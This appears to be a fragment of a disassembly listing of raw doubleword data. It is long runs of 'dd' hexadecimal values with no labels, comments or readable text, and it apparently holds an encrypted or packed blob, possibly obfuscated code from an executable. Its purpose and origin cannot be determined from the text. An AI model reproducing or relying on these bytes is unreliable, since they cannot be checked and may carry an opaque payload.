		dd 7CE2DA80h, 2C011EFEh, 0AA50CE30h, 2AD04EBCh,	0AE54D230h
		dd 39D755BFh, 0AF75F20Eh, 9D67792h, 50BEAED3h, 0F7310DD2h
		dd 5CD9F5A0h, 0BD7DC48Dh, 0F915BC19h, 47B8D8DDh, 9688E084h
		dd 0D43E2FA7h, 211CC240h, 845A6BC3h, 2542ED44h,	0C9018327h
		dd 0DFD39C12h, 5E4DF58Fh, 1F6B83E0h, 26418CA9h,	0F5602A82h
		dd 49A1CDFFh, 0BDDD0865h, 4379EDE0h, 3DDFC31Bh,	0A88CE40Eh
		dd 0DD19614h, 2C4864BBh, 43B60B6h, 6080DF0Eh, 0B50ED05Dh
		dd 3C2DCF63h, 39967AD2h, 7365BD61h, 0F97FE578h,	641F41B9h
		dd 568678D0h, 0EEDED028h, 0A10C2880h, 7BE6B2F9h, 49835F1Fh
		dd 1F5147F2h, 66829AF7h, 0D3534D9h, 7390EB69h, 41FB0825h
		dd 7BE5D6EAh, 0A5988AE7h, 56CFE73Fh, 4F6513E7h,	4376634h
		dd 0E80560DEh, 42EE4B0Eh, 9486E378h, 3CE33B59h,	28F87591h
		dd 0B5596514h, 317B4758h, 51DABEDAh, 0BA212F08h, 11698BC4h
		dd 21E8652Dh, 5E7A5EE8h, 5EE821E1h, 72169E42h, 0F0560DEh
		dd 765AB2D0h, 2186031Fh, 43E75EE8h, 0F3BAEBE6h,	6A86DD2Fh
		dd 28D6FA11h, 85EB8E32h, 0B7CF2757h, 58B64B3Eh,	0F9509866h
		dd 0A52264DDh, 0DA13C522h, 4CB3D483h, 770B51DEh, 0A7968CE3h
		dd 79D13D2Fh, 0DD830195h, 3A2C84EEh, 11ADC02h, 9072DF04h
		dd 10893B78h, 615E0000h, 0ECDB81FFh, 615A007Eh,	0E5DB81FFh
		dd 6F5D0381h, 84A181FFh, 0D351BDAFh, 53D1312Dh,	0D755BDADh
		dd 5AD83A31h, 0F87591BCh, 597792ADh, 0BEAE568Ch, 56EA0842h
		dd 0BB3854FFh, 27DC48Ch, 7A1EA6C4h, 49F44F1Dh, 2EF61453h
		dd 7DC48CB1h, 86E6012h,	9638CCB0h, 0FCE038A6h, 46BEAD9Fh
		dd 9F91E91Bh, 1BAF43A3h, 769CCEC4h, 4C7F7119h, 0EDDCCE26h
		dd 335277Fh, 0CE6A83DBh, 260C22CBh, 0B8E24D19h,	0B2E803F3h
		dd 0E80E4036h, 72F87591h, 0B5597DC4h, 0D776658h, 99D0C18Fh
		dd 0BAD76548h, 0EB23244Fh, 0D1A1FE46h, 16Eh, 55BFAE2Bh
		dd 0B2D00BFDh, 59936F34h, 0AEE2E602h, 0C56947B8h, 6EDC556Dh
		dd 4DE47798h, 0A3EAD330h, 18753260h, 0C9C8ADEDh, 0B56B7510h
		dd 40h,	0C7A685Eh, 3D2ED0B4h, 8F8076D3h, 0DFD044B3h, 0E84983D0h
		dd 49E1FD54h, 0F047B87Eh, 63DCF44Ch, 6B77983Fh,	0A89E4A50h
		dd 12F64EB0h, 3F229FBBh, 0DF837798h, 0CE296882h, 0BC556B74h
		dd 0AF000000h
		dd 2DC2DCF9h, 514FC4F2h, 9BCB02F4h, 0D83E30ACh,	0B0089C80h
		dd 0EBE138CCh, 0FEEE90F2h, 998B3390h, 0F1E33BA3h, 4E4098FAh
		dd 0A89EF51Fh, 12F64EB0h, 751BE7B5h, 1E7DC404h,	8247C52Fh
		dd 0F9156CBCh, 47B5A561h, 0EA084339h, 7951AE92h, 2779F612h
		dd 1DA7795h, 8B5A5FC6h,	0A648DC9Ah, 5DB448B6h, 8B097567h
		dd 0AD003A30h, 0CA429776h, 2A871BF2h, 91CC0438h, 1A1DDF73h
		dd 9D5FB09Dh, 0EED4885h, 85C20000h, 3FE563h, 8DBE64E2h
		dd 93FE563h, 8BC167E5h,	0E805E563h, 37B5D913h, 0B7355591h
		dd 3BB9D911h, 0BE3CA695h, 5CD9F520h, 0BD7792ADh, 0BEAEBAF0h
		dd 312CD250h, 0F9AB55D3h, 0C714EFDCh, 0AB08C8D5h, 175282B9h
		dd 0DAF69DF5h, 7DC39A5Dh, 0F2861ABEh, 1AB5A89Ah, 0F263B1CFh
		dd 42077A7h, 7DC44387h,	32B044E8h, 0DB33518Ch, 5DB4F4CAh
		dd 0B8955941h, 7EFCA047h, 8068Dh, 0BEAE9700h, 39A5978Dh
		dd 0B835FDE1h, 197DC48Ch, 0DF8AE175h, 0C48D46C3h, 345E8D7Dh
		dd 0BE70F8DCh, 2A0E668Ch, 79913996h, 7DC48D00h,	4ECBE792h
		dd 957DC48Dh, 11B53DA5h, 0BA12706Fh, 9A6879D6h,	3350FB52h
		dd 93EA866h, 0B5DF10EFh, 4BACC421h, 8C47B293h, 0A09B91E8h
		dd 2F1EC442h, 0F516EC5h, 299621E3h, 80147671h, 53897B23h
		dd 896BA9F6h, 0F0845DE1h, 0ADC1712Eh, 5390A85Fh, 0DF3h
		dd 0EB699BC8h, 6AE81A45h, 0EB698BC4h, 6DEB1345h, 0EB6995C7h
		dd 2319EE0Bh, 0AB973DBBh, 2717BD3Bh, 0A09B41BFh, 0FB26C442h
		dd 92AC62DFh, 0C0F6C377h, 0F950BEAEh, 50A8CA03h, 0A8006E5Eh
		dd 5D330C4h, 0AE066C5Fh, 0B9D91107h, 167C6F61h,	0E946DABEh
		dd 479EC4F7h, 8D03809Ch, 0C0647DC4h, 69C62C1Eh,	346681C1h
		dd 648ABEB4h, 0BE2C1A0Ch, 0DED2612Ah, 91DFDC0Eh, 0E90B4234h
		dd 40AE9C92h, 0D9A704E8h, 3AB7D37Eh, 9B7DC40Ch,	11809AF7h
		dd 6D654901h, 12h, 0C403F9C7h, 0BD3149A6h, 187DC4AFh, 0FFFD702Bh
		dd 0F8835FFh, 377DC48Dh, 0D4CA216Bh, 781F7C9Ah,	0B363F35Ch
		dd 39903447h, 6CEA0843h, 156D97C6h, 3C52923h, 5FAE4908h
		dd 20F22F47h, 0F500000Dh, 721896C8h, 0F1971577h, 721896F8h
		dd 0F49A187Eh, 381896F8h, 0E816461Bh, 6886C46Ah, 0EC0A44EAh
		dd 6F95C86Eh, 0C2853F1h, 7792AA8Fh, 0AEED23F0h,	53FE55BFh
		dd 0C48CBA37h, 1A771B7Dh, 274D8072h, 2F88FCFh, 224DAAC8h
		dd 407A7078h, 32AFCB22h, 937DC48Dh, 0ADA092EFh,	96FBC947h
		dd 0E8654880h, 0Dh, 0B0148842h,	826F7DC4h, 0FFFFFCD1h
		dd 79B38F8Ch, 7F5A7722h, 827D5356h, 33132B88h, 5A47B87Eh
		dd 0C6465EB6h, 1377984Eh, 6E60B8DAh, 0AFD7077Fh, 87DF7357h
		dd 119A006Bh, 0F0851530h, 6B74BAA1h, 1EBDDh, 3F883700h
		dd 347DC48Ah, 0FD69645Ah, 694DA5CDh, 0BAB157D5h, 0E7E80058h
		dd 4E7DC489h, 86E4E21Eh, 5EB64A2Eh, 0CD00706Ch,	9FBB13A7h
		dd 0CB456634h, 0ECDFBEDCh, 7C430886h, 0E8E1D72Eh, 0D3C2E86h
		dd 46EE4BDFh, 0A4FB1954h, 8C60DDF9h, 1DC17DC4h,	7A97F2C0h
		dd 462A3EC6h, 47C52A1Dh, 5D9F48ADh, 437A6CC9h, 0A8B1C921h
		dd 0D07DC42Ah, 0E603E5B5h, 28D42514h, 0D63C2FEEh, 770E7942h
		dd 71B7E4E2h, 0C597FA14h, 61E76548h, 41000001h,	904BDCF9h
		dd 86D53C7Bh, 0C456ED6Ah, 16AA4E7Dh, 0BC197B74h, 1A7193CAh
		dd 6DCA2C24h, 7A98D3C5h, 216B37FCh, 79AAAECAh, 8D3147B8h
		dd 0D6024036h, 8EE67AE8h, 6DF2E1AAh, 5F384E2Eh,	0C9425A02h
		dd 107797ECh, 6B5DB5DFh, 55BA1270h, 0AA8B207Ah,	276A0B8Fh
		dd 806B751Ch, 2A24508Ah, 0FCE038CCh, 33CF9Fh, 82780000h
		dd 0BF211A4Eh, 92EF8367h, 79B38F9Ch, 0F9F10522h, 2B1B362Fh
		dd 730B27CEh, 1A47B7EBh, 8D061E76h, 957797ABh, 3C55207Ah
		dd 426B7561h, 0ABh, 55BFAE9Ch, 9FD10BFDh, 5E941ADh, 55721971h
		dd 7A062A2Ah, 9C8EEB14h, 41EC43A1h, 0C3E6A825h,	865097Dh
		dd 157F6E60h, 0FC9DCB97h, 17467DC3h, 69146FEDh,	0C3CED04Dh
		dd 6B58317Dh, 0ED2C4B72h, 3748A539h, 0AECA216Bh, 47B58D16h
		dd 0CCC219BDh, 4AF06E90h, 692AEC12h, 485FB0E0h,	0AF1F330h
		dd 99C60000h, 443E967h,	89C268E6h, 0D43E967h, 97C56BE9h
		dd 0EC09E967h, 3BB92517h, 0BB39A995h, 3FBD2515h, 0C240A299h
		dd 60DDF924h, 0C17792A9h, 0DCF9BEF4h, 0A6BCF394h, 9BB8E15h
		dd 6EFCE3ACh, 221A0C69h, 0A5983EBCh, 0F917C13Fh, 49A6C403h
		dd 0A6FE6457h, 45BB9B4h, 8CC03D59h, 7D217DC4h, 20615220h
		dd 6B000004h, 2DD835A5h, 0C48C9411h, 0D21CF57Dh, 970D8299h
		dd 5869C65Ah, 0CFEB428Ah, 47B2DD6Fh, 0CA4FF296h, 4AB8A6F4h
		dd 237A0EF2h, 2DDF5C78h, 9C407792h, 1C7C983Fh, 4341865Eh
		dd 0B62F479Fh, 0FD71661Eh, 5749A1C1h, 6857F965h, 1E9E1B37h
		dd 5BFF7166h, 142F6FC7h, 29442586h, 0EA8D0471h,	90F171A6h
		dd 9A000003h, 2756D3EFh, 13B77166h, 0F88C0B6h, 307DC48Dh
		dd 7DC48CC6h, 63BAF2D0h, 0B8A28F47h, 669D7647h,	0E3C1D280h
		dd 0F1D09226h, 0E85FB392h, 9F593D0h, 9DCA0000h,	1847ED6Bh
		dd 95C66CEAh, 1147ED6Bh, 93C96FEDh, 0F00DED6Bh,	3FBD211Bh
		dd 0BF3DAD99h, 43C12119h, 0C644AE9Dh, 64E1FD28h, 0C57792A7h
		dd 3F9C2F8h, 6D51A9CDh,	0C52F1E10h, 9ED0C66Dh, 0DF3C2078h
		dd 61B8F0CEh, 0B364E845h, 0E7650947h, 0B50C5C22h, 818E5899h
		dd 5C948A41h, 5305DD3Ah, 0BDA1F91Dh, 0EEDCD229h, 0F5360280h
		dd 0BD7160DCh, 8127A5E7h, 0DBCD2545h, 192A82E0h, 90AC0345h
		dd 3B553098h, 0E1033A30h, 7048A589h, 42350ACCh,	7C944B10h
		dd 95E3Fh, 0D4363300h, 53B1B056h, 0D43E2FD5h, 56B8B056h
		dd 0D43A32D8h, 84597656h, 2A82648h, 8228A6C4h, 6AC2A48h
		dd 912FADD7h, 0A6CD4A66h, 612E7792h, 79B38F2Bh,	385A7722h
		dd 3D801829h, 0DA3833D5h, 0A324657Dh, 395647B2h, 0E39962B7h
		dd 4D2582C6h, 0AF43A39Bh, 1491AD58h, 757791A3h,	0D7CD74D1h
		dd 1F9CB8EBh, 807791A3h, 24CA48DCh, 7B71C826h, 0E2C61E4Ch
		dd 0F6CCDD85h, 0A35AD7F3h, 0A57A7791h, 89918D86h, 14A84CD4h
		dd 231C12BDh, 0EF4C64C1h, 104180EEh, 4E6A156Ch,	71603FD1h
		dd 89318E32h, 0B62AA78h, 54720BEFh, 0ECAE523Bh,	4B0FC509h
		dd 0A85390A8h, 7D000008h, 0FAA01E40h, 791F9DCFh, 0FAA01E40h
		dd 7C22A0C6h, 0C0A01E40h, 709ECEA3h, 0F01E4CF2h, 7492CC72h
		dd 0F71D50F6h, 94B0DB79h, 7792A617h, 0AE75AB78h, 0E1FE55BFh
		dd 846D2BB3h, 0BCD09986h, 883B7C25h, 291BC320h,	8678D032h
		dd 0DED02856h, 3A2C84EAh, 0EEC9DE0Ch, 0F40FFFACh, 9EC4F7A6h
		dd 93CFC520h, 1E1794B0h, 0D4787DC4h, 0A704E840h, 48EB048Dh
		dd 0DCF8A365h, 7DC4265Fh, 0C03D59C0h, 217DC425h, 0BC8CE97Dh
		dd 187h, 79B38F16h, 0B40E0622h,	0B0A647B8h, 0EE1048B8h
		dd 0C11EB296h, 0D5ED45E9h, 7798865Ch, 0F048AAA3h, 49A1C3FEh
		dd 0FFACEE09h, 0DE97031Eh, 6B7482B3h, 152CBh, 0BFAE2500h
		dd 0D00BFD55h, 936F34B2h, 0DE0C0259h, 0B4DA0EB0h, 9094B057h
		dd 4847B8AFh, 3184432Bh, 1471E164h, 2840983Ch, 779879AFh
		dd 4199CBF6h, 9DF5194Fh, 6E3D5D38h, 4D28728Dh, 6B748F44h
		dd 503Ah, 0FDEDE300h, 8239B6D2h, 0F69A7798h, 0C9260A62h
		dd 44B38FD3h, 0E8DE51C6h, 932DC860h, 1DE3480Dh,	89F5E789h
		dd 62B94D31h, 0B7ABAE46h, 5F908647h, 30F9DD35h,	0E62E644Eh
		dd 0D2AA07ECh, 45BED62Eh, 4D779740h, 840D6832h,	0FA6B75CDh
		dd 0A0h, 55BFAE54h, 0ADD10BFDh,	0A686355h, 678DC0B2h, 0ADE71DE9h
		dd 0BDB07DC4h, 4E14D957h, 0F38BA7FEh, 9A47B63Fh, 0F40F3CC1h
		dd 82A7F44Fh, 7ED8627Eh, 0CE25B94Dh, 9C312D23h,	4FFE6D56h
		dd 0EF4CE0D7h, 219FCFFDh, 5B1D417Bh, 5FB1F792h,	4C8051Dh
		dd 0D9000007h, 56FC7AECh, 0D57BF96Bh, 56FC7AE4h, 0D87EFC62h
		dd 1CFC7AE4h, 0CC322AFFh, 4CBAA84Eh, 0D03628CEh, 53B1AC52h
		dd 0F00C37D5h, 7792A473h, 0AED107D4h, 2CD250BEh, 5997C531h
		dd 0C4A80062h, 60F4D830h, 599187E2h, 3BCF3F2Bh,	0ACA2FFE3h
		dd 0A5C903F9h, 1A0C694Dh, 7769C123h, 0AFA01E44h, 37h, 0C4415D08h
		dd 257DC48Ch, 0A52E2481h, 0D4130962h, 7A4859B6h, 0F6E5DB32h
		dd 6C882F8Ch, 47B3650Dh, 7CEB8E32h, 0D11BE76Ah,	8E005E7Ah
		dd 7F234181h, 7B2BDCh, 0F9350000h, 0B25D82DCh, 74168B31h
		dd 0DCC01876h, 58906E7Fh, 8101E501h, 837947B8h,	0E9CD2549h
		dd 90ED1147h, 0A0BD14B8h, 5D8F73C8h, 71FD6831h,	0FECDA972h
		dd 0E7CA82A3h, 453BE28Ah, 0AE92EA14h, 6FBF3951h, 0DA087798h
		dd 2D20CF77h, 92265F07h, 0EE10483Ah, 8B0F7A96h,	0BFDB8A20h
		dd 52A9E3BFh, 8C745236h, 9BD4CA41h, 0E63D2179h,	6C444DCAh
		dd 0AD0AAE71h, 0C2B331D5h, 0BBh, 0C803F9CCh, 663C4DAAh
		dd 5AB3CF26h, 7B47B365h, 0A4B625D7h, 8AE20C40h,	0E73FA598h
		dd 869BC3F5h, 0DDF9EFABh, 7792B660h, 75891DC1h,	1C75009Ah
		dd 626B7A57h, 69h, 79B38FBCh, 64A60622h, 29CD47B3h, 72665C77h
		dd 0A2B4AF0Ch, 0CCA9F1CCh, 6B7A56C5h, 48B9h, 3F91300h
		dd 4CC9E5CAh, 0AD7DC48Dh, 391D7509h, 0B5F7CBDCh, 64E3425Eh
		dd 560847B3h, 0B4A6FE64h, 1D0159BBh, 99163289h,	0FA7792B5h
		dd 0A110C256h, 0BCDEB98Fh, 0E865812Ch, 497792B5h, 632E48A5h
		dd 1B6B7A53h, 1Bh, 0A0F48875h, 0A28F7DC4h, 0FFFFFEDBh
		dd 5DD4DEFBh, 7478E704h, 227A98D2h, 8FEBE13Eh, 1D9AB6B3h
		dd 7E7DC48Dh, 0D3EF46DAh, 47B36446h, 24CB23C7h,	0F94A3B07h
		dd 562EFC3h, 87DE2EF4h,	88F6E6DCh, 0E2003E30h, 0B512A68Ah
		dd 81D43F9Dh, 0CCE89341h, 7161254Fh, 0D7AF0CB0h, 74CC3625h
		dd 93A4FC90h, 7B267DCFh, 0CB285A85h, 4FFC42B3h,	0FBF1A33Bh
		dd 0C3573B93h, 0B4B766Ch, 0A01EB2D0h, 129007DBh, 5F41228Eh
		dd 0AA3EA098h, 16AAD408h, 2E1E14BFh, 0C256B4B2h, 430C4D65h
		dd 690D351Eh, 0C4221C12h, 58467A46h, 0D813BCF7h, 0EBE13CBAh
		dd 52368EFCh, 0AAC803F5h, 2B7D4152h, 343329D4h,	0D29A7ED6h
		dd 0CCD6E955h, 8FFCDDB6h, 1F120A2Ch, 6B872E8Bh,	96CAF31Fh
		dd 602A8226h, 79742971h, 0B6A7DD0Dh, 7C10F44Ch,	5B5C0B24h
		dd 517104D4h, 5AB29BDh,	0AE55ADD5h, 0A26AE703h,	0E0FCC6AAh
		dd 0C6AAA363h, 0F49820C4h, 3ABAA597h, 0A084DC02h, 0EE0AB50Ch
		dd 0C6AAA271h, 29D12ED2h, 84DC0637h, 0E23A5892h, 35517BC9h
		dd 7AF4C1E1h, 0BDD90F8Bh, 0C6AA9F40h, 5469FDA1h, 427C2179h
		dd 9EC84561h, 8529C6AAh, 221873F1h, 7567C42Ah, 0CAC51D45h
		dd 0F8A241BAh, 0CF4DB5A5h, 244A7E74h, 958BE8CCh, 1E76B48Fh
		dd 7BD3312Ch, 0D8A6F45Fh, 9B41BF0Dh, 219042A0h,	86A37E0Eh
		dd 827E3FA2h, 3DA59562h, 79214CA9h, 28CB2924h, 0D6587C2h
		dd 0C3C678F5h, 0A2F8E77Dh, 209ECCFBh, 0CA22407Ah, 0C3C732B2h
		dd 0D7C3A27Dh, 0F06E94C6h, 0C3E3FC24h, 0A5EDB77Dh, 0DB654963h
		dd 0FFFFFFA8h, 55BFAE35h, 153A31D7h, 0C48C7CF9h, 0A539DD7Dh
		dd 345E8DF3h, 0A90EF82h, 973A5893h, 48808809h, 3EF665h
		dd 8F500000h, 7C6BB3h, 0B911A5CFh, 0F4EA41D5h, 973E96F8h
		dd 0C48CFE7Bh, 27BB5F7Dh, 0CB285A85h, 64AA0824h, 29CD47B3h
		dd 64F50877h, 15E99505h, 2607CD3h, 2541818Eh, 472DDE81h
		dd 37000000h, 0B5324EF9h, 167DC48Ch, 3E041572h,	1D7B97EEh
		dd 4047B365h, 0C77BEA9Ch, 1569311Ch, 0FDA8FF49h, 92B564E1h
		dd 425EC577h, 7792B4C5h, 91EE8226h, 61223FEAh, 0DF0538BCh
		dd 6FF01E16h, 769CFA12h, 1BBF4181h, 3F90E78h, 0AC53ABCBh
		dd 0C48D1390h, 3CD0747Dh, 94FEEDDFh, 0F1134A3Ch, 56D3EF9Ah
		dd 0B77DC48Dh, 23E8B613h, 99B60D5Fh, 3F8B41A5h,	0D5D0F524h
		dd 0FE77E930h, 4A660D6Ah, 47B7B746h, 0BB9EE1FEh, 0AA0FD52h
		dd 516ED5ADh, 2DEA4DD6h, 0F5723A64h, 56779702h,	0AEC61EB2h
		dd 77970335h, 0FD78223Dh, 6B760694h, 20EAh, 0B38F4400h
		dd 6E062279h, 1547B8A8h, 88011971h, 90779868h, 41502575h
		dd 3D6B74A4h, 10Ch, 55BFAE97h, 0ADD10BFDh, 0A686355h, 9F7A96B3h
		dd 63EA12D6h, 9AB75E06h, 8732701Eh, 4133903Fh, 0F6AE80Ah
		dd 0CBCB4864h, 882C7DC3h, 0CB981531h, 55F97DC3h, 0F53AE0F8h
		dd 0E8E37DC3h, 0AC9B855h, 0C3DA71EEh, 652ED27Dh, 0FE92E183h
		dd 73E3DA80h, 0FC5CE47Dh, 8420F794h, 5D045CF0h,	0B23FC240h
		dd 81DEE7D9h, 1E4C9270h, 20B498F0h, 57731EC9h, 7DC444DAh
		dd 223A973Bh, 47B87DE6h, 4EEDF4CDh, 460F7D6Ch, 43D79A86h
		dd 0EA2200C5h, 1FC97793h, 0E88C418Ah, 8E247491h, 0E60341FCh
		dd 0F0ECE289h, 726A108Eh, 4DA5CFFEh, 6C96C769h,	7AA316D8h
		dd 4E6655C5h, 1B611h, 2C5E8B00h, 0ABD908AEh, 2C56872Dh
		dd 0AED008AEh, 2C528A30h, 0DCB1CEAEh, 5A007EE0h, 0DA80FE6Ch
		dd 5E0482E0h, 0E987056Fh, 9F25A2BEh, 0B9867792h, 8DBEAE83h
		dd 0C48CF471h, 2B04147Dh, 10616B1Ch, 0D250E488h, 0F410312Ch
		dd 7DC43177h, 0C83626D8h, 7822A034h, 2279B38Fh,	5ECF5A77h
		dd 0E30076E3h, 86E30B41h, 0B808D66Eh, 81D97D47h, 97C8F069h
		dd 0BDDDF877h, 7543D9B8h, 0B9A56Bh, 0AEFF0000h,	0BFD55BFh
		dd 3D55ADD1h, 7DC4B597h, 69E70D40h, 126A88C3h, 94EB3D01h
		dd 8850CDE9h, 0DB17DC4h, 0B1ED09B0h, 9847B8C0h,	52981531h
		dd 0E2A7798h, 77985291h, 14C64EF2h, 7D61B9DBh, 53FE55E9h
		dd 9852BA37h, 1A771B77h, 71BB874Ch, 21F1FE1Ah, 0CE72418Ah
		dd 26488177h, 8E0B27CEh, 0EF7169A3h, 0B35AB74Bh, 85F8FBDh
		dd 62BAD812h, 0AD53217Eh, 408D4FBFh, 0F755C576h, 0B9A2DFh
		dd 518E0000h, 0DC0BB12Fh, 518A30AEh, 0D50BB12Fh, 5F8D33B1h
		dd 0B4D1B12Fh, 381EDDFh, 8301615Dh, 785EDDDh, 8A086A61h
		dd 28A5C1ECh, 8977929Eh, 0BEAE86BCh, 312CD250h,	0AEAB55D3h
		dd 56FD55BFh, 0A7046260h, 0DE5C86B5h, 61DF0538h, 0A6280BBh
		dd 89EDABF2h, 3BA59648h, 98FAF1E3h, 0EFAB5A40h,	1309F0BCh
		dd 7E62BAD8h, 44A4F621h, 95F2104Eh, 0CC4AA8A3h,	75CD3726h
		dd 0D1294D83h, 2F87EFDFh, 8AE20C3Dh, 0E2C9D1C0h, 0D807FD68h
		dd 0AE0FE1AAh, 0C08355E1h, 3B623863h, 86031F00h, 0E76A8967h
		dd 49A9A143h, 0FB790DF1h, 4EBCAAA0h, 0C3B512F6h, 0D5126A88h
		dd 3, 0AE4AB0DFh, 5F74FB1h, 6254ACD6h, 0C0B20A68h, 1A0C6482h
		dd 7264BC22h, 0CABC147Ah, 26187096h, 8173CB35h,	91CC2446h
		dd 81E38953h, 4C3h, 4EB8300h, 2474FF53h, 48F5B04h, 89525C24h
		dd 4C281E2h, 83000000h,	148704EAh, 0C895C24h, 2AC66824h
		dd 4890000h, 4EC8324h, 0BD242C89h, 18E8281Bh, 1A0123B9h
		dd 5DE9291Fh, 77A568h, 24248900h, 4240483h, 34815158h
		dd 0D753F24h, 8408F3Dh,	8B951h,	0C1010000h, 753F3181h
		dd 0FF593D0Dh
		dd 83582434h, 0C8B04C4h, 0E3895324h, 4C381h, 0C3810000h
		dd 4, 5C241C87h, 0FB5600E9h, 2E09BBFFh,	31EFFEB8h, 0FFC50306h
		dd 0D62098E0h, 4D1B1A49h, 2F97D019h, 8945EC57h,	0EC225F72h
		dd 446C9A1Eh, 0A91BDC1Ch, 0AFEB360h, 4D394B50h,	5432083Fh
		dd 0FDF9A85Dh, 38ECDD78h, 1D1FAF6Ch, 44C22402h,	963C1921h
		dd 0BF0BEF1Ch, 5E9F3928h, 31216561h, 4AE0A81Bh,	58417075h
		dd 0B19E1716h, 0A5554B14h, 0EF063C3Bh, 0BDE18C73h, 6F114C37h
		dd 1089567h, 6AC08B04h,	3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1D042444h, 42000000h, 2A8AC352h, 27E2C454h
		dd 0C38C6107h, 11820Fh,	9E80000h, 76000000h, 538FD6A1h
		dd 0A6418DABh, 835B6160h, 2C1D65BDh, 9750006h, 23D9BD83h
		dd 7400062Ch, 8B535019h, 3FCB8C0h, 85890000h, 62C0691h
		dd 0B16C9D8Dh, 0D3FF062Eh, 0BD83585Bh, 62C23D9h, 50177400h
		dd 3FCB853h, 85890000h,	62C0691h, 0AE5B9D8Dh, 0D3FF062Eh
		dd 6A585Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h
		dd 53430000h, 45FE77C3h, 0B70FC1DAh, 56006AD9h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1604h,	0C3564600h, 51C7CF7Bh
		dd 8B5AD88Bh, 57006AC0h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1704h, 0C3574700h, 43A5E3D9h, 40EB8166h, 9E952h, 0A5B40000h
		dd 3AF8680Eh, 83E478C4h, 2C09A1BDh, 840F0106h, 6Dh, 0CF816660h
		dd 0E8566658h, 11h, 3A1FF4F5h, 5E511F31h, 0FB3A89BDh, 66957DD5h
		dd 615A594Eh, 2CF1BD83h, 0F00062Ch, 4085h, 0BADA8100h
		dd 8377A5B2h, 2C29A1BDh, 840F0006h, 0A0h, 0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 1Dh, 18C35242h, 0B6E04E34h
		dd 9F0C074Ch, 28D0FD3h,	0B6000000h, 3CDE9FAh, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
		dd 2A76C3h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1A042444h, 45000000h, 38F5C355h, 2DCF4174h
		dd 2890FF8h, 0B2000000h, 55006A98h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1804h, 0C3554500h, 699ECC35h, 61FC6010h
		dd 424E5DAAh, 3A11EEA2h, 0BDF26513h, 0DB71C7AAh, 0B29FB872h
		dd 9177E839h, 382F2BC4h, 3073CC0Ah, 0A473CC63h,	0F177E893h
		dd 49FE2B99h, 0B1706EEBh, 0D726E872h, 0D73C32B8h, 7A717C6h
		dd 578168BAh, 0B1730ECEh, 5D856993h, 0E46D0F29h, 0B177E80Ch
		dd 5CF6B572h, 0B7461B06h, 0B4F5E7CAh, 0A77E84Eh, 834DFF0Eh
		dd 0E47782C9h, 0B177EB21h, 722AC8E4h, 951B612Fh, 9533693Dh
		dd 0B177FE98h, 7222AD4Eh, 0D70114FCh, 3A225D29h, 0E2778209h
		dd 0B177EB0Ch, 722CC872h, 952B6162h, 95336998h,	0B177F54Ah
		dd 7224AB27h, 972B194Ch, 6367F291h, 0A11B245h, 43F6A169h
		dd 0B89B3340h, 5925B8CCh, 0B177E85Dh, 3C7D01D1h, 346115B9h
		dd 0DBFA2282h, 49BC6CB0h, 0D7523EF5h, 0BE2D3EB2h, 16CC8EADh
		dd 382FB2A7h, 0DAC4CC23h, 953BE99Ch, 0B17E0137h, 42FCE8E4h
		dd 17CEB753h, 0E9B1DAB8h, 0B37BED60h, 0B11DE84Eh, 0B1740074h
		dd 0EA57E893h, 0EDFEB30Ah, 0F5F6ECC0h, 0B16AEC56h, 0E234E839h
		dd 6B53725Fh, 1B0B3844h, 0BED9BFA2h, 0B177E312h, 0E7888C9h
		dd 0ACA76926h, 0D01E2D28h, 0B11DE0B2h, 0B17400CBh, 0EE57E84Eh
		dd 0CDFEB7E4h, 0F5F6ECB7h, 0B16DECEDh, 0E630E8E4h, 828B2EB1h
		dd 20A8432Ch, 0B177ED75h, 5C86564Eh, 3A110363h,	377814DBh
		dd 0B177E8CBh, 0B0CF386Fh, 0DB77E872h, 0B29FBB39h, 9177E89Ch
		dd 382C2B15h, 3073CC7Bh, 0AD73CCD7h, 0F277E8C9h, 54602BB7h
		dd 4B9A5FE5h, 0D1F45D14h, 0B177E274h, 29AB514Eh, 1C73C03Ch
		dd 0E1E22ED2h, 62F7B792h, 591789BFh, 0B177E866h, 3654382Eh
		dd 7F9D0EC7h, 6C3423A3h, 5793ACEFh, 2D752AFEh, 0B177FA20h
		dd 0CE90CCE4h, 7BA4A962h, 0A315AE3Ch, 0D80B8D09h, 0E864C438h
		dd 0D7E689D2h, 0E110A929h, 20A463AFh, 0D8585382h, 59AE6414h
		dd 0B177E834h, 7D3B5DF0h, 700FFFA9h, 6E40B893h,	0A3FBE75Eh
		dd 5977E8C9h, 0B177E8E8h, 0AE081440h, 64980DE6h, 0EC30ACE5h
		dd 678B214h, 0B5B61EFFh, 0B19E6D9Ch, 69FCE8C9h,	498288BDh
		dd 0D94E6813h, 0B0716D36h, 0B11DE89Ch, 0B174001Fh, 0E857E827h
		dd 0FDFEB150h, 0F5F6ECEDh, 0B16AECC0h, 0E036E872h, 0D68259FAh
		dd 4E1345A5h, 3A20FCCAh, 0B11DE95Eh, 0B17400C5h, 0EF57E8C9h
		dd 0C5FEB627h, 0F5F6EC56h, 0B162EC1Dh, 0E731E89Ch, 58FE388Dh
		dd 0B177E833h, 27262F69h, 792CC9DEh, 0CBD2C066h, 0C51A30B4h
		dd 5F238C5Dh, 0B1666693h, 3278E84Eh, 0B177E82Ch, 0B177ED7Bh
		dd 516790C9h, 302D45FCh, 0B177E88Dh, 34F5E7B9h,	5877E89Ch
		dd 0B177E85Ah, 87093C15h, 624A8A60h, 0E532DEFh,	0D1F1C2C8h
		dd 8E38E9DDh, 43EA6DFEh, 0B176EEADh, 678E84Eh, 0B10E01FDh
		dd 3A17E893h, 44BF6811h, 0B1390185h, 0B11DE872h, 0B174006Fh
		dd 0EF57E89Ch, 0C5FEB68Dh, 0F5F6EC03h, 0B163ECB7h, 0E731E8C9h
		dd 5DCC8527h, 0E831202Ah, 844F22B8h, 3211D58Ah,	0BE88E337h
		dd 0B177F3A3h, 68FC8E93h, 76A063AFh, 80857561h,	0B177E974h
		dd 3478BF39h, 0B177E89Fh, 0EAF533CEh, 3011886Fh, 586B9762h
		dd 0B177E8DBh, 0FCF2E07Ah, 0BC050921h, 14DEEAC8h, 339C433Dh
